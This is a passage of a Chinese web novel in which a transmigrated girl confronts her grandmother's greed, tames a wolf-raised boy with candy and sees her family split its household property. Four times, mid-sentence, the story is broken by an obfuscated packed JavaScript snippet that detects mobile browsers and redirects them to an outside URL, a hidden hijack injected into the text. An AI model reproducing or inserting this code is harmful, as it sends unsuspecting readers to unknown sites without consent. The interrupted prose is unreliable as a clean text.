世上只有阿娘好的便宜爹,怎么说都不会相信,宋老太不愿送他去城里看大夫,话里话外的意思都是宋老太一辈子在乡下,不识字胆子小,没见过世面,不敢出门,但她是一个善良勤快疼爱孩子的人,对苏氏宠爱有加…… 当时刘青青面无表情,紧紧盯着刘有山的眼睛看,难道上面有一层她望不见的天然滤镜? 是什么给了他错觉,让他一厢情愿的认为,婆婆和妻子能亲如母女,宋老太宠爱孙女! 几次试探后,刘青青放弃挣扎,刀扎在自己肚子上才会疼,让刘有山自己感受到宋老太深沉的爱吧。 她冷笑着让刘慧兰把买的粮食蔬果全部吃了个干净,驴车上装了她们的铺盖,剩下的一两银子和带给幼妹的麦芽糖贴身收藏,到家后不动声色包好藏到鸡圈里:她一进门,刘宝强立刻嫌弃的把喂鸡的葫芦瓢塞给她,一溜烟的跑了! 她要让便宜爹看看他最亲的娘,在他们落难后,是什么样的嘴脸,又不是没吃过糠,多吃一段时日也无妨,大家伙一起吃才好吃呢。 哭过一场,宋老太检查他们的行李,多了没见过的两床新被子,皮笑肉不笑质问:“慧兰,这些是哪来的!” 还说没藏私房钱,没钱如何看病,没钱如何买新被子,她像抓倒小偷的将军,满脸的胜利。 刘慧兰张嘴欲答,被刘青青拉了一把,咳嗽一声后低着头不吭声,不动声色往刘有山后躲了躲! 刘有山靠在枕头上,想起了二女对母亲的误会,连忙道:“娘,我们这不是没带钱治病么,认识的一个兄弟好心借了十两银给我们,就是今日送我们回来那个穿黑衣的,人很仗义的。 治病买药做拐用了九两,剩下的一两这些日子在医馆里吃住,都用光了,你快拿十两来给我,我和他说好了,一回家就还他,他晚些时候来取! 再把鸡蛋捡上一篮子,之前打猎腌的野兔肉取一条,我送给他,人家一分钱利息都没收,还赶驴车送我们回家,我们也不好白占人家便宜!” “娘,你脸色不太好,是不是生病了?”刘有山巴拉巴拉说个不停,抬起头发现宋老太有些不对劲,连忙关切询问。 苏氏娘三人想笑不敢笑,用力绷着脸,呼吸都轻了几分,努力做好背景工具人。 宋老太深深顺了几口气,尽量平缓语气:“家里没有银子!” 兀自算计着送一只腌兔给赵垚会不会少,要不要送两只的刘有山懵逼的抬头,不敢置信的看着宋老太:“娘,什么叫家里没有银子?我每次打猎换的银子不是都交给你攒着! 您不是说,苏氏人年轻手松,攒不下钱来,你年纪大会持家,攒够了,一起盖两座青砖院子,我和大哥一人一座,你们就跟着我过。 这些年家里一没盖房,二没置地,省吃俭用的,加上田地里的收成, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850670|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至少应该有五六十两了吧!” “娘,莫要逗儿子了,我找人家借的钱,要是不还,以后谁还和我来往!” 宋老太阴沉着脸:“你银子全交给我了,难道没有留一些给苏氏?我管着你们一家五口的吃喝,哪里还有多余的银子!” 刘有山有些不敢置信的看着宋老太,好似第一次认识她:“娘!秀娘她本可以留在县城的,因为我才嫁到这个偏僻的小村子,孤身一人没个娘家帮衬,我每次留十文钱给她买糖吃,有什么错么? 您算算这十年,我交给您,至少有六十两了吧,就算要吃喝,村子里不比县城什么都要买,粮食自家的,菜蔬是后院种的,肉是我打猎打的,只用买些盐巴布料,一年二两足够了,那你手中至少还有三十两罢!” 他耐着性子,有些哽咽劝道:“娘,求您了!您就拿出来罢,要是还不上,我,我一个汉子,以后如何见人!” 说着,他挣扎着想从床上下来,去拉宋老太,腿上却没有力气,扑通滚了下来,苏氏急忙去扶他,两口子抱在一起呜呜的哭。 宋老太扒拉抓散头发,一铺瘫坐在地上哭嚎,双手握拳把地拍得砰砰响:“我好苦的命,一把屎一把尿,自己舍不地吃舍不得穿,把你拉扯大,替你掌家养孩子,如今没了银子,是要逼死我!” 她骨碌爬起来,跑到火房,提了菜刀过来,硬塞到刘有山手里,握着他的手往自己脖子里划拉:“来,砍死我,银子用完了,再也没有,我,我用我的命,还你的银子……” 刘有山被宋老太这个举动吓到了,怕伤到她,捏着菜刀用力的往后缩,宋老太本是做戏,手上力气不大,两方面力气失衡,菜刀划拉,割在刘有山的腿上,又开始汩汩冒血! 刘青青:“……” 她趁着她们尖叫发愣,眼疾手快夺走菜刀,远远的送到外面院子里。 屋子里又是一顿忙乱,包扎换药,伤到的是腿,需要换了裤子,宋老太骂骂咧咧回自己屋。 刘有山愣愣的看着屋顶,梦呓般询问:“我不在家时,阿娘都这样胡搅蛮缠么?”他感觉心中有什么,哗啦一下子破碎了。 苏氏用城里带回来换药的白布,轻柔替他包扎好伤口,避而不答:“阿娘一向精气十足!” 刘有山拉着她的手:“秀娘,这些年,委屈你了!” 苏氏眼眶里一下子续满了泪珠,断线珍珠似的往下掉,心疼的抚着他的腿:“不委屈,只要我们一家人,好好在一起,有什么委屈的!” 她既感动丈夫终于理解了她的苦,又心疼丈夫的孺慕之情破裂。不管怎么样,这一刻,两个人的心更近了些。 门砰的一声开了,赵二贵、铁柱等风风火火闯进来,看到抱在一起的两人,连忙转身:“哟,来得不巧啊!” 苏氏羞得满脸通红,低着头钻到后院去。 铁柱放下手里的野鸡,可惜的看着他的腿:“山子,好好养着罢!”众人说了一会闲话准备告辞,赵二贵支支吾吾开口:“山子哪,你要求带回来的那个野孩子,如今在我家,要不我晚间送过来,我实在是,养不住了!” 15. 第 15 章 刘有山才被宋老太打击了一顿,强行提着精神和队友说笑一阵,听到赵二贵的要求,理所应当道:“行,你送来罢!这段日子麻烦你了。” 赵二贵张了张嘴,又什么都没说。 其实刘有山去城里治病这些天,他已经把野孩子送来过,都被宋老太给骂回去。 他也实在没办法,家里不缺一口吃的,但,耐不住野孩子不是个正常人,这些日子乌烟瘴气,媳妇闹着要回娘家。想到这,他欲言又止,最后还是劝道:“我劝你,先看看,如那孩子养不熟,依旧远远的送走罢!” 莫要因为一个来路不明的野小子,闹得家里不得安宁。 这话刘有山不爱听:“他引走了黑熊,要不是他,我们所有人都要葬身黑熊口中,不管怎么样,我也不会置他不顾。” 赵二贵脸上讪讪的,可是,报恩不是这么个报法,深深叹了口气,回家去了。 不一会,赵二贵和赵兴冬,两人扛着一条长长的粗竹竿,野小子就像头猪那样,四肢被牢牢捆住,吊在竹竿中间,一摇一晃的晃到了刘家。 刘青青:“……” 忍不住暴粗,这么个法子对待他们的救命恩人,赵兴冬真他么是个天才! 对这个未来的姐夫实在喜欢不起来。 因被吊着,野小子头往后仰着,头发长长的拖在地上,露出了一张刀削般的脸。骨相看着不错,可惜上面全是黑黑的污渍,只能望见他警惕的眼睛,里头一双清澈如琉璃的眼珠不安的上下转动,和不时像野兽一样裂开的嘴,龇出唇里并不尖利的牙,发出低沉的嘶吼。 刘青青一瞬间崩溃,差点泪流满面。 曾经陪伴她的小狗,为了救她,独自冲进丧尸群,也是这么龇牙对付着比它凶恶无数倍的恶心丧尸。 她才踏出一步,刘有山表达了强烈的不满:“你们胡闹,怎么如此待人!快给他放下来!” 赵兴冬悻悻喊了声叔,把野小子平放到地上,自觉的站到刘慧兰身边,快速的看她一眼,委屈对着刘有山解释:“这小子野性难驯,我给他洗澡抓我一手血,喂他吃饭也全都吐我脸上,他只吃生肉。” 他言语里全是嫌弃,还把手背抬起来,放到刘慧兰面前,可怜巴巴:“很疼的!” 刘慧兰快速四下看了一眼,红着脸扭身不理他。 后面进门的赵兴春看到她哥贱兮兮的样子,翻了个白眼,站到刘青青旁边。 刘有山俯视着躺在地上依旧不停龇牙的野小子,顿时有些头疼,但,再难,也要养着,大丈夫在世,有恩要报,无愧于天。 他微微点头:“行,我知道,这些日子辛苦你们了,我来试一试。” 赵二贵招呼儿子女儿回家,跟来的赵兴春故意磨蹭在最后,把怀里的袋子塞给送他们出门的刘青青,在她耳边说悄悄话:“青子,前些日子去了外婆家,才晓得你摔了一跤,好些没?这是我从家里拿的小米,你熬些粥补补哦!” 她和刘青青是好伙伴,记挂着她吃不到细粮。 刘青青:“……” “你拿粮食你娘晓得不,大春?” “不知道啊!管她呢,过些日子我们就是真的一家人了呢!是不是啊,嫂子?” 她笑嘻嘻躲开刘慧兰拍打,跳着去追前面的爷俩。 刘青青抱着袋子,心里有些沉重,她记得剧情里,刘青青、便宜爹相继去世后,村子里传出刘慧兰克亲的名声,赵家来退了婚,两人的婚事告吹,不晓得这次,赵家还会不会来退婚,看阿姊的样子,好样挺满意赵兴冬。 刘青青收起思绪,目光落在地上的野小子。 他不停的挣扎绑在手脚上的绳索,发出如野兽一般的低吼,想吓退围在身边的这些危险的物种,狼妈妈曾经告诉他,这些物种叫人,比狐狸还狡猾,伤害了它们许多同伴。 刘有山想解开他,自己手脚不便,支使刘慧兰。 偏偏刘慧兰抖着手靠近,迎接她的便是野小子更激烈的:“嗷、嗷~” 刘慧兰吓得往后退到了墙角。 消失了一会的刘青青摸进来,眼疾手快凑近野小子,塞了一块带给幼妹的麦芽糖到他嘴里。 一种从来没有尝过的香甜,顺着舌头传遍了全身,野小子懵逼的嚼了一下,手工麦芽黏糊在牙上,给他带来不一样的感觉,有些讨厌又有些期待,他只能大口大口的咀嚼,越嚼越甜,越嚼越香,他感觉就像靠在狼妈妈肚皮上,很愉悦,很欢喜。 直到这一块麦芽糖吃完,他意犹未尽的舔舔舌头,身上的戒备小了许多。 刘青青靠近他,把他扶起来坐着,他也没有反抗,没有嚎叫。 她并排和他坐在一起,手心里变戏法一样,又多出两块麦芽糖,令人愉悦的香甜就是从这小小的一块白色的东西里发出来的,野小子好奇的盯着她的手心。 刘青青缓缓的用手捏了一块,塞到嘴巴里,享受的迷了眯眼,然后解开他手上的绳索,伸开手心,把另一块麦芽糖放到了他面前,鼓励的看着他。 野小子看了看她的眼睛,没有感受到恶意,试探探出黑呜呜的爪子,从她手心捞走了另一块糖,也学着她的样子,塞到了嘴巴里,呜呜,真甜! 刘青青眉眼弯了弯,又从怀里掏出一块,大大方方伸到他面前。 知道糖好吃的野小子,没有防备的伸出黑呜呜的手去抓,被刘青青一把逮住。 野小子吓了一跳,本能要缩回来。 刘青青紧紧抓住不放,安抚的给了他一个笑,慢慢的把他的手指头一个一个掰直,然后贴上自己的手,一黑一白两只手,就这样完全的重合在一起。 刘青青轻轻和他击了个掌,勾勾嘴角:“一模一样的哦!” 野小子很迷惑,一瞬间脑海里杂乱纷呈,多了许多画面:他靠在一个温暖的怀抱里,后面传来杂乱的脚步声,有人尽力把他护在怀里,可他还是被穿梭的树枝刮花了脸,很疼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850671|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他紧紧抿着嘴,不敢吭声,不想添麻烦,跑着跑着,那人脚下趔趄,他们滚落了山崖 醒来的时候,看到了狼妈妈温柔的眼,三岁的他跌跌撞撞跟在了后面,在狼妈妈的护佑下,从此和狼群生活在一起。 成长中,他曾很自卑很困惑,为什么他长得和狼妈妈不一样,为什么他身上不会像狼妈妈一样长漂亮温暖的绒毛,为什么他没有锋利的牙,为什么只有他会爬树,为什么只有他喜欢采果子解渴;为什么狼群里皮毛光滑的小白狼不搭理他,为什么狼群里总有那么几只狼,在僻静的角落,用奇怪诡异的眼神幽幽盯着他。 在这一瞬间,全部问题都有了答案,原来,他不是狼妈妈的孩子,是可怕的人! 野小子懵懂的看着刘青青,又笑又哭,发出呜嗷呜嗷的叫声。 刘青青寻来剪刀,安抚的又发了一枚麦芽糖给他,在他头上咔嚓咔嚓几下,枯长而打结的头发齐根断了,就像曾经的苦难,一去不复返,留下一层青黑的发桩,拥有冉冉生机。 野孩子不自在的探手摸了摸头顶。 在这空隙里,刘慧兰已经烧好一盆温水,刘青青牵着过分温顺的野孩子,试探的把他引到水盆里。 当他面上露出拒绝的神情,刘适时又亮出一块麦芽糖! 野孩子面上现出了纠结,老老实实走进盆里蹲好,渴望的盯着刘青青手中的糖,一双琉璃般的眼睛水汪汪的,委屈巴巴盯着刘青青,好像在说,我很乖的,就像等着投喂的大狗狗。 对于温顺的大狗狗,刘青青是不会吝啬的,大方的奖励一块糖,接着用丝瓜瓤在他身上擦洗。 出乎意料的,野孩子只是露在外面的肌肤黑黝黝,兽皮衣下的皮肤还挺白,只用了两盆水就洗得干干净净。 还惊喜的发现他后背上有字,像是用针尖蘸着墨水刻上去的。墨色已经看不清楚,隐约猜测是郭守云。 守得云开见明月。 不晓得这个孩子幼时经历了什么样的磨难,让刻字的人,对他寄予了深深的祝福。 刘家几人多了几分唏嘘,可怜这孩子身世坎坷,对他多了几分真心。 苏氏利索的剪了刘有山的一套衣裳,帮他缝制了一套合身的衣服。 虽然是粗布,因是刘有山穿旧,摩擦得很软,刘青青帮他穿衣的过程中,他感受到了这套衣裳的好处,柔软透气保暖,比兽皮衣好多了,立马喜欢上了这套灰突突的布衣,欢喜的在屋里转圈圈。 这么一捯饬,郭守云看着和之前的野孩子判若两人,乖乖的坐在那里,学着刘青青端个碗小口小口的喝水,整一个清秀的农家小子。 可是吃喝确实个大问题,郭守云跟着狼妈妈这么多年,全是母狼逮到猎物,撕扯皮毛后,分他吃肉丝。 刘青青表示,她逮不到猎物,不过便宜爹的队友送来一只野鸡,可以做刺身。 最最重要的是,她要教郭守云学习人类的一切,先从熟食开始吧! 16. 第 16 章 宋老太首次被二儿子顶撞,委屈极了。 刘有山是从她肠子里爬出来,一把屎一把尿的养大,赚的钱交给她这个娘,理所应当,即便她全部用完,也是天经地义。 再说,她也没用啊。一大家子的开销,几个孙子读书,人情来往,哪样不是钱,靠着她精打细算,才能勉强收支平衡。 她赌气缩在屋子里不出来,下定主意,要儿子亲自来道歉,才勉强原谅他。 回想儿子的模样,好像和上次为了苏氏,和她争执时有点不同?她其实有些担心,万一,儿子不来她怎么下台。 紧张的时候,手不自觉摸到腰间的钥匙,她嘴角微微勾起,家里所有粮食都锁在柜子里,即便儿子不来,慧兰也要来找她要钥匙。 想到这,她安心拉过被子,盖在身上,呼呼睡起来,这半个月慧兰没在家,屋里的活计全部压在她一人身上,趁这个机会,好好歇息歇息。 傍晚,宋老太饿醒了,窗外天色擦黑,为什么房门一直没响过。 难道因为她睡着,所以,没听见? 要死,老头子们下地回来,晚饭还没熟,怕不是要干架哦。 想到这,宋老太躺不住了,骨碌翻身下地,悄悄打开了一条门缝。 院子里静悄悄的,一个人也没有。 但火房烟囱冒着袅袅炊烟,鼻尖还能闻到一股浓烈的香气! 她深深吸一口,这是肉类皮脂烤焦的香气。 慧兰哪里来的肉?难道她藏在柜子里的腊肉被她们偷了?刘青青那个死丫头撬了她的锁? 宋老太心中有八百只猫在挠,她哪里还记得之前发的誓,一阵风跑进火房,等看清楚桌上的菜色,下意识咽了咽口水。 这顿饭仍旧是老规矩,刘慧兰主厨,刘青青一旁指导。 队友们感激刘有山第一个挡在黑熊前面,送来的野鸡,又肥又大,足足有五斤。按照以往,刘家定然舍不得吃,送到镇上换银子。 宋老太赌气躲在屋子里拿乔,大房一家下了地,刘青青没有悬念的,决定晚饭吃鸡。 刘家只会做一种鸡,清炖一锅,每个人能喝点汤。 刘青青回想郭守云眼巴巴要糖吃的样子,这是一只贪吃的小狼狗啊,弄点他没吃过的,让他心甘情愿留在这里。 花了心思做了五样菜,整了个全鸡宴: 鸡骨架炖酸笋,鸡胸肉刺身,烤鸡翅鸡腿,红烧鸡血旺,毛芋头黄焖鸡杂。 没有主食。 错了,有一碗鸡汤小米粥,准备给刘有山补身子的,用的大春带来的粮食。 桌子旁边热热闹闹坐了全家的人——除了她。还有个宋老太没见过的清秀小子。一瞬间,宋老太失望透顶:她为这个家操碎了心,这一家子在这里吃香喝辣,竟然没一个人来请她。 刘青青瞥了她一眼,没搭理,大大方方分菜:一对鸡翅鸡腿,一半进了幼妹刘翠翠的碗里,另一半,进了郭守云的碗。 大伯娘王氏瞬间不高兴了,拍的放下筷子:“青青,最嫩的鸡翅鸡腿留着给孩子,我没意见,可是你不能全都搂走,栋子强子还没呢!” 她看到宋老太连忙告状:“娘,你管管青青,趁着你身子不利索,胡乱分菜呢!” 刘青青淡定的帮刘慧兰舀竹笋鸡,飘出一句:“这是我爹受伤,他队友探望送的,点名给我爹补身子,剩下的边角料,给我们几个姐妹吃,我们也没请你们进来啊!” 王氏愣了一下,讪讪道:“刘家没分家,送你爹,就是送给整个刘家的,肉合该一起吃!”说完,她站起身,直接拿筷子去插翠翠碗里的鸡腿。 到碗的鸡腿飞了,刘翠翠委屈得哇一声哭起来,一边哭一边不忘咬一口碗里剩下的鸡翅。 呆呆坐在刘青青旁边的郭守云听不懂他们的话,观翠翠的很难受的模样,知道鸡腿是个好物件,连忙握着鸡腿,蹲到角落里,背对着大家,一边啃鸡腿,一边瞄着王氏,警惕她来抢。 鸡腿一入口,他眼神一变,更加快速的啃,不一会塞了满满一嘴,腮帮子鼓鼓的,一边咀嚼一边瞄着紧张的盯着王氏。 刘家全家人都被他的动作惊呆了,面面相觑:这是哪里来的小子,长得挺清秀,就是没教好,一点礼貌也没有,在别人家做客,竟然用手抓菜,抢食、护食。 刘青青只是心疼他独自在森林里,和一堆野狼抢夺食物的凄惨。 她端着鸡肉刺身走到他面前,抽回鸡腿放回碗里。一手抬着鸡肉刺身,一手抬着鸡腿,意思很明显,让他选一个。 郭守云目光落在鸡肉刺身上,这是他熟悉的野鸡肉,比狼妈妈给他的漂亮,但吃过烤鸡腿后,他就爱上了这种做法——一口下去,先是焦香的油脂,再是甜嫩的肉丝,一层层在味蕾上爆发。 其实他两个都想要,但狼妈妈教他,狼宝宝不能贪心,只能选一个。 毫不犹豫的,他抱回了鸡腿碗,里头还有鸡翅呢。 刘青青很开心,郭守云是母狼养大的孩子,但还保留了人的本性,相信经过她一段时日的照顾,他一定会回归正常的生活。 怕他被吓到,干脆牵着他送回去耳房和刘有山作伴。 回到火房的刘青青对上大家若有所思的眼神,刘巧儿一言难尽的看着她:“青青,你真的要嫁给他么?”嫁给一个一无是处,无家世、无才干的人。 在她离开这半柱香的功夫,他们对刘慧兰审问,已经知道这小子的来历:刘有山的救命恩人,刘青青的未婚夫,大山里的野孩子。 刘青青无语的看着他们,她才九岁,才九岁好不好!哪来的嫁娶啊。 转而琢磨,招婿了郭守云也挺好。 她不想嫁人,独身一人惯了。但大魏女孩一般十三岁订婚,十六岁成婚,十八岁还没出嫁便会受全村子的闲言碎语,二十便要被官府配婚。 她不怕闲言碎语,可是她头上还有个便宜爹和苏氏,到时候他们苦肉计轮着来,也是烦。 这孩子完全是一只小奶狗啊,听她的话,只要给点吃的,就乖巧无比。心思单纯,想法全在脸上。舍出一点粮食,换回一只忠心耿耿、心思简单的小狼狗,数年的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850672|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳根清净,二房还有了男丁,一举多得。 这一刻,她都有些怀疑便宜爹只是表面憨而已,只是一想到,刘有山和郭守云两人在耳房,分享着一人一口鸡腿,一口小米粥,她觉得他爹是真的憨。 琢磨这么多,刘青青不是扭捏的人,干脆承认:“我觉得他挺好!”间接承认了招婿的话。 正在胡吃海喝的王氏瞬间不好了,二房本来就是些吃干饭的,原本刘有山还能打猎补贴些家用,如今成了残废,靠当家的和她辛苦下地养着,还多了个来路不明的野小子,真当她是泥捏的,明晃晃的算计大房呢。 她哗啦掀翻了桌子。 一桌子的碗筷全掉了地上。 幸好,桌子上的几个菜只有鸡肉刺身没人动,大家伙不敢下筷,那是生肉啊,吃了会生病的。剩下的菜都抢了个干净,各自端着饭碗稀里哗啦吃得开心。 宋老太看着一碎了一地的碗,心疼得直抽抽,加上被冷落的怒火,直冲天灵盖,收拾不了刘青青,还收拾不下儿媳么,她一巴掌扇在王氏脸上:“你疯了!” 刘有田哆着鸡肠,含糊不清:“孩他妈,你发什么神经!” 慧兰这丫头,手艺没得说,鸡杂又辣又脆,实在对他的胃口。 王氏捂着脸,不敢回打宋老太,还不敢打丈夫么,一耳光扇在刘有田的脸上:“吃吃吃,你就知道吃! 大房都被算计死了,你还只想着吃!一天到晚像只老黄牛,任劳任怨不吭声,人家把你骨头渣子都熬煮了,你才醒悟!” 刘有田捂着脸,耸耸肩,呵呵一声,继续吃。 刘青青叹为观止,知道大伯父一向没有存在感,今日有了深刻的体会,这是多老实的性子,被媳妇打了还笑脸相迎。 俗话说打在儿身,疼在娘心,宋老太觉得那一巴掌,不是抽在刘有田脸上,是抽在她的心尖尖上。 嗷一声,冲过去厮打王氏。 王氏只管躲在刘有田后面,只要挨了宋老太一下,她立马在刘有山身上掐一把,火房里一时乱成锅粥。 刘老头急了,死死抱住宋老太:“行了,有什么好好说,要打伤了,哪来钱去看大夫!” 这句话正中七寸,宋老太瞬间焉了,她心里悲凉:为这个家操碎了心,结果老大表面不说,心里埋怨她偏心二房,老二家的埋怨她不肯拿出银子,听到火房里吵闹,也不来看看她。 既然两个儿子都离了心,分吧,分开了各家过各家的,免得她老太太出力不讨好! 她面上爬上一层灰色,无力的摆摆手:“既然你们都要分家,那便分吧!” 惊喜来得太突然,苏氏抬眼看了一下,依旧低眉顺眼盯着自己的脚。王氏也不嚎了,扭头看着窗外。刘青青微微勾起嘴角,心里给郭守云又记了一笔,看看,多一个男丁,不用她出面,大伯母自己就闹着分家,省了她无数功夫。 刘老头焦急的劝阻:“老婆子,分不得,让人笑话!” 村子里除非日子过不下去,不然哪里有父母健在闹着分家的,那是家庭不和睦的表现。 17. 第 17 章 宋老太内心深处其实也不想分,老头子的劝阻让她有了台阶,她殷切的目光扫过大房刘有山夫妇,二房苏氏,只要他们劝一劝,她便收回这话。 可惜三人一声不吭,目光游离,不愿和她对视。 她苦笑着叹了口气,还有什么不明白的,两个儿子都有分家的心思,她老太婆阻止得了么?她一辈子强势,临老不愿委屈求全,分开一段时日也好,让他们吃些苦头,晓得当家的不易,才知道她的好。 决定了分家,宋老太感觉身上被抽走了一股精神气,瞬间焉巴了许多,她强撑着一口气道:“家里分家,得所有人都到齐,等宝柱沐休回来!” 王氏怕事情有变,推出宝梁:“娘,宝柱还有一旬才回来,宝梁也认字,让他写文书锻炼锻炼。” 宋老太幽幽盯着她,她们连这最后十天也等不及。 她冷笑一声,使唤宝梁取来纸笔,一家子换到堂屋中,连躺在床上的刘有山都被抬了来,嗯,野孩子懵懂的坐在他旁边,心无旁骛的啃着鸡腿骨头。 恩,人挺齐全。 宋老太悲凉的点点头。 刘老头在地上磕了磕他的烟斗:“你们两个弟弟在城里讨生活,但家里还得给他们留一份。所以决定一分成三,我们老两口占一分,你们兄弟二人再分。” 他话还没说完,王氏急了眼:“爹,娘,村子里所有老人都是跟着长子过活,你们这样分出去,不是让村里人笑话当家的么!再说,村子里分家是按照男丁人头数的,您们这样,干脆叫他们兄弟几人饿死算了!” 说完把刘宝梁和宝强往堂屋中间狠狠一推,骂道:“娘对不起你们,养不住,你们走吧,想去哪去哪,在外面的当叫花子也比在刘家饿死强!” 刘宝梁低着头不吭声,宝强不知道做错了什么,听他娘说不要她,哇一声嚎起来。 刘老头气得拿烟斗的手抖个不停,宋老太恶狠狠呸了她一口唾沫:“你爹还没说完,你阴阳怪气给谁看,眼皮子浅的歪货!” 牵过刘宝强哄着,若不是看在三个孙子的份上,她一定要把王氏给休了。 刘有田不吭声,由着王氏闹,想劝架的刘有山干脆闭了嘴。 刘老头缓了缓,接着道:“家里一共20亩田地,分成五分,我们老两口4亩,宝柱三兄弟一人4亩,老二家没男娃,青青以后招婿,分4亩。” 老两口4亩,大房12亩,二房4亩,苏氏惊喜的抬头,眼睛亮晶晶的,好像占了天大的便宜。 刘青青有些意外,二房竟然分了4亩地,这不符合平时宋老太的偏心哪。 王氏白了脸,凭什么! 二房一个男娃都没有,分给二房,他们有本事种么。难道靠那个如野狗一般的小孩子,他拿个筷子都不会,还指望他种田,爹娘真是老糊涂了。正要说话,刘有田悄悄拉了她一把,问道:“爹娘,家里田地分散,宝柱他们种哪块?” 刘老头沉吟了一下:“二房缺劳力,种村头靠河边那块地,浇水方便。我们老两口种靠着后山那块,每天回家,顺便背些柴火回来。剩下的,都给你们。” 他话才说完,王氏面上露出喜色:“爹考虑得周全,我们大房男丁多,过两年宝栋又是一个壮劳力,不愁担水!河边地不用担水,给二弟很合适。” 听她这么说,刘青青觉得里头肯定有猫腻,难道是靠河边的那块地有什么问题么? 刘有山日日跑山里,但地里的事他还是知道的,只要兄弟和睦,他不介意少分一些,但王氏这样占了便宜还要卖乖就恶心人了。 他冷哼一声:“大嫂既然这么喜欢村头河边地,不如换一换,我们种你们那片。” 王氏惊呼:“这怎么可以,河边全是沙地,如何能换!”雨水多的年份,河水漫涨,庄稼被淹,一年的劳作便打了水漂。 迎着二弟似笑非笑的眼神,她讪讪的闭了嘴。 刘老头咳嗽一声:“行了,就这么定了!” “接下来说说房子的事!” 说到房子,刘青青提起了精神。 刘家院子位置很好,正在村子中央,坐北朝南三间正房,中间做了堂屋,东外间是刘老头老两口的卧室,东里间本来是小姑的,小姑出嫁后,给了刘巧儿。 西外间是刘有田夫妇带着刘宝强,里间是刘宝柱两兄弟。 旁边加盖了两间耳房,一间刘家二房挤在一起,一间做了火房。后面羽毛球场大的空地上,挤着猪圈和鸡圈,柴房、菜园子。 刘家二房全家住在小小一间耳房里,苏氏夫妻领着翠翠挤在大床上,蕙兰带着她睡地铺,每天起来还要收拾,烦得很。 她现在对田地没有执念,二房确实缺少壮劳力,但对房子,她很计较,她连床都没有,藏个私房银得藏到鸡圈鸡窝下,不计较不行。 刘老头顿了顿道:“家里现在住的房子还是我和你娘成婚时盖得,后来你们兄弟两成婚才加盖了耳房,一大家子挤在一起,确实不够。” “我和你娘的意思是,你们哥俩商量着,谁出去外面,重新盖一桩院子,从公中补贴三两银子!” 说完这话,他期盼这兄弟两一人站出来。 别看清水沟村偏僻,但人多。 同刘家一样大的宅地基要三两银子,而且都在村子周边,村子里边根本没有空余的宅基地。 谁愿意从市中心搬到市郊啊。 王氏眼睛骨碌碌转,劝苏氏道:“弟妹,村头你们地旁有一块宅基地空着,才一两银子,剩下的二两银子足够起两间屋子,要不你们搬过去,以后种地也方便!”她打算把刘有山他们住的屋子改成书房给宝柱,儿子抱怨了好多次,里间光线暗,看书费眼睛。 刘青青没去过,但不傻,笑嘻嘻还嘴:“这么好,不如你们去!” 王氏不乐意了:“这丫头,大人商量事情呢,你一个小丫头插什么嘴,一边去!” 刘有山拉过青青,指了指旁边的郭守云:“青青以后招婿,她说的话能代表我们二房!” 他沉吟了一会:“我们出去也可以,不过,银子不够,至少得五两。买地基一两,起房子二两,家里都是妇人小孩,我腿又瘸着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850673|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必须要起院墙,需要二两。若你们大房出了这二两银,我便搬出去,不然,我们还是挤在一起,村子里热闹,出门唠嗑方便。” 王氏不乐意,一间耳房换二两银,他怎么不去抢。 最多五百钱。 刘青青呵呵一笑:“那算了,我们不盖房。大家伙挤在一起也行。还省了阿爷阿奶的三两银。阿爹伤了腿,以后日日在家,我和姐挤在一起睡不方便,我们姐妹搬到东里间去,和巧儿姐作伴!” 刘巧儿事不关己看热闹,一不小心火烧到自己身上,她才不要她们搬过来,原本有段日子刘慧兰和她一起住,偏偏刘慧兰起得早,睡得晚,拖累得她也睡不好。而且她悄悄做荷包攒私房的事就会被发现。 她恶狠狠瞪一眼刘青青,扭头对王氏:“娘!” 刘巧儿长得好,还会绣荷包赚钱,她指着这个女儿嫁到城里,带着她享福。王氏嗯了一声,肉疼的加钱:“我们只有一两银!” 刘有山不愿意:“那算了!” 闷声不坑的刘有田最后做主:“行,我去孩他外婆家,再借一两银来!” 王氏不愿意,阴沉着脸扭他。 